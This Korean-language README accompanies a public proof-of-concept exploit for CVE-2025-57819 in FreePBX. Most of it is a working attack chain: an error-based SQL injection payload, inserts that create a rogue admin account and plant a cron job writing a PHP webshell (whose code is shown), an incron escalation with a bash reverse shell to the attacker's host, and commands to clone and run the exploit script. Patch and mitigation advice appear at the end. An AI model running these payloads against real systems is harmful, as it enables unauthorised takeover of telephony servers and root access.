
CVE-2025-57819 FreePBX SQLi RCE PoC
교육 및 보안 연구 전용 - 아래 법적 고지 참조
CVE-2025-57819는 FreePBX에서 원격 코드 실행을 허용하는 치명적인 인증되지 않은 SQL 인젝션 취약점입니다. 이 PoC는 공식 패치가 공개된 이후 보안 연구 및 승인된 테스트 목적으로만 게시되었습니다.
FreePBX 15.x, 16.x, 17.x(패치된 버전 미만)는 endpoint 모듈의 AJAX 핸들러에서 인증되지 않은 SQL 인젝션에 취약합니다. 이 취약점 체인은 다음을 허용합니다:
| CVE ID | CVE-2025-57819 |
| 유형 | 인증되지 않은 SQL 인젝션 (오류 기반) |
| CVSS | 9.8 / 10.0 (치명적) |
| 영향받는 버전 | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| 패치된 버전 | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | 예 (2025년 8월 29일) |
GET /admin/ajax.php?brand=<PAYLOAD>
endpoint 모듈의 AJAX 핸들러에 있는 brand 매개변수는 검증 없이 사용자 입력을 수락하여 오류 기반 SQL 인젝션을 유발합니다.
EXTRACTVALUE() 오류 기반 추출을 사용하여 데이터베이스 이름을 유출함으로써 SQLi를 확인합니다:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
asterisk.ampusers에 새 관리 사용자 삽입:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
유효한 관리자 자격 증명을 사용하여 익스플로잇이 FreePBX에 인증하고 인증된 세션을 설정합니다. 세션 쿠키는 저장되며 이후 모든 인증된 요청에 사용됩니다.
asterisk.cron_jobs에 웹셸 명령 삽입:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
FreePBX cron 실행기가 asterisk 사용자로 명령을 실행하여 PHP 웹셸을 배치합니다.
PHP 웹셸이 /var/www/html/shell.php에 배포됩니다:
<?php system($_GET['cmd']); ?>
익스플로잇은 웹셸이 활성화될 때까지 폴링하여 asterisk 사용자(uid=999)로 RCE를 달성합니다.
대상에 incron이 구성된 경우:
/var/spool/asterisk/incron/에 트리거 파일 생성incrond(루트로 실행)가 파일 생성을 감지/usr/bin/sysadmin_manager 호출sysadmin_manager가 GPG 서명을 검증하고 fwconsole-commands 후크로 전달/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1결과: 리버스 리스너에서 루트 셸 확보 (incron 사용 가능한 경우).
brand 매개변수에 대한 입력 검증 부재asterisk.cron_jobs 테이블이 asterisk 권한으로 명령 실행git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| 버전 |
|---|
즉시 조치:
/admin/ajax.php 접근 제한systemctl disable incrond영구 조치: 패치된 버전으로 업그레이드: 15.0.66+, 16.0.89+ 또는 17.0.3+
⚠️ 면책 조항
이 개념 증명(PoC)은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 저자는 이 도구로 인한 오용이나 피해에 대해 책임을 지지 않습니다.
다음을 준수해야 합니다:
금지된 용도:
책임 면제: 저자는 다음에 대해 책임을 지지 않습니다:
이 취약점은:
JazzTheRabbit
MIT License
| 상태 |
|---|
| 15.0.0 - 15.0.65 | 취약 |
| 15.0.66+ | 패치됨 |
| 16.0.0 - 16.0.88 | 취약 |
| 16.0.89+ | 패치됨 |
| 17.0.0 - 17.0.2 | 취약 |
| 17.0.3+ | 패치됨 |